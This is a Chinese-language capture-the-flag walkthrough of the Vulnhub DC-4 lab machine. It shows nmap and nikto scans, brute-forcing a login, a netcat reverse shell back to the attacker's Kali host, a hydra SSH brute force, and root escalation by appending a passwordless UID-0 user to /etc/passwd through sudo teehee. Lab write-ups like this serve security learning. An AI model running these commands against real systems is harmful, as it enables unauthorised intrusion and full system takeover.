Vulnhub-DC-4渗透学习
一、环境搭建
攻击机:Kali-2021.3:192.168.8.105
靶机:Vulnhub-DC-4:192.168.8.168
二、信息收集
主机探活
1 | nmap -sP 192.168.8.0/24 |
扫描靶机ip
1 | nmap -A -p- 192.168.8.168 |
发现开放了22和80端口,把信息都记录起来
继续收集信息
1 | whatweb 192.168.8.168:80 |
1 | nikto -host 192.168.8.168 |
nikto是kali自带的工具,用于扫描网站后台文件
扫描完后发现并没有什么有用的信息了,也没有发现网站的框架、CMS等有用的信息
三、实战
先尝试访问IP的80端口
发现是个登录入口,查看源代码,感觉就只是一个简单的登录窗口
既然是一个登录页面,尝试一下弱口令爆破吧,单独对密码进行爆破,字典使用Burp自带的
爆破完之后发现密码为:happy
漏洞利用
得到的账号密码
admin
happy
回到登录页面进行登录,第一次登录后页面并没有改变,再次登录后才能登录成功
随便试试,发现里面可以执行命令,怀疑有命令执行的漏洞
把数据包拦截可以看到确实有命令执行
既然是命令执行,为了方便我们的操作,反弹一下shell吧
kali开启监听
1 | nc -lvp 2222 |
然后在目标上执行
1 | nc -e /bin/bash 192.168.8.105 2222 |
成功拿到shell
再利用python得到交互式shell
1 | python -c 'import pty; pty.spawn("/bin/bash")' |
提权
我们都知道,flag大概率在root中,但很明显我们的权限不够,需要提权
-
SUID提权
1
find / -user root -perm -4000 -print 2>/dev/null
但是并没有常见的可提权的文件,比如:
nmap、vim、find、bash、more、less、nano、cp
-
免密使用的root级别命令
1
sudo -l
但是发现需要密码,而我们没有密码,也行不通
好像走到尽头了,但别忘了我们扫到它的ssh端口是开放的,因此去寻找一下存在的ssh用户
发现存在三个用户
分别进去查看一下有什么文件,发现里面只有jim用户里存有文件,然后就是不断的寻找有用的文件了,最终发现了一个存有密码的文件
那接下来思路就很明确了,爆破这个用户就行了
首先将密码保存到本机的passwd.txt中,用户名就jim一个就行
然后利用hydra进行爆破
1 | hydra 192.168.8.168 -L user.txt -P passwd.txt ssh |
成功获得jim的密码
jibril04
接着利用刚刚的账号密码连接ssh进行登录
成功登录,而且出现了一段文字,翻译一下
Linux dc-4 4.9.0-3-686 #1 SMP Debian 4.9.30-2+deb9u5 (2017-09-19) i686
Debian GNU/Linux 系统中包含的程序是免费软件;
每个程序的确切分配条款在
/usr/share/doc/*/copyright 中的单个文件。Debian GNU/Linux 绝对没有担保,在某种程度上
适用法律允许。
你有新邮件。
似乎是这个系统在每个用户登录的时候发给他的通知,在最下面可以看到说jim收到了一封新邮件,那我们就去寻找一下这封邮件看看,在var目录下发现了mail
翻译看看就能发现里面有另一个用户charles的密码
^xHhA&hvim0y
现在我们可以切换目录了,但是先测试一下jim用户能不能利用SUID提权和免密使用root命令
但是都没有成功,那就切换到charles用户试试
1 | su charles |
成功切换用户,然后继续尝试上面两种提权方式
发现了一个可以免密使用的root命令:teehee
百度一下就知道这是一个编辑器,可以用来提权
提权思路就是利用teehee的root权限在passwd中写入一个免密的root权限用户
使用echo 命令与 sudo 命令配合使用,可以实现向那些只有系统管理员才有权限操作的文件中写入信息
1 | echo "abab::0:0:::/bin/bash" | sudo teehee -a /etc/passwd |
passwd文件解读:(简单理解这个即可)
root:x:0:0::/home/admin:/bin/bash
[用户名]:[密码]:[UID]:[GID]:[身份描述]:[主目录]:[登录shell]
“-a” 选项的作用等同于 “>>” 命令
【额外补充:没有给新用户创建密码是因为你创建了也没有用,因为第2个位置是密码占位符,是占位符!!】
然后切换到我们新添加的用户名
成功拿到root权限,后面就进入root目录,就能成功得到flag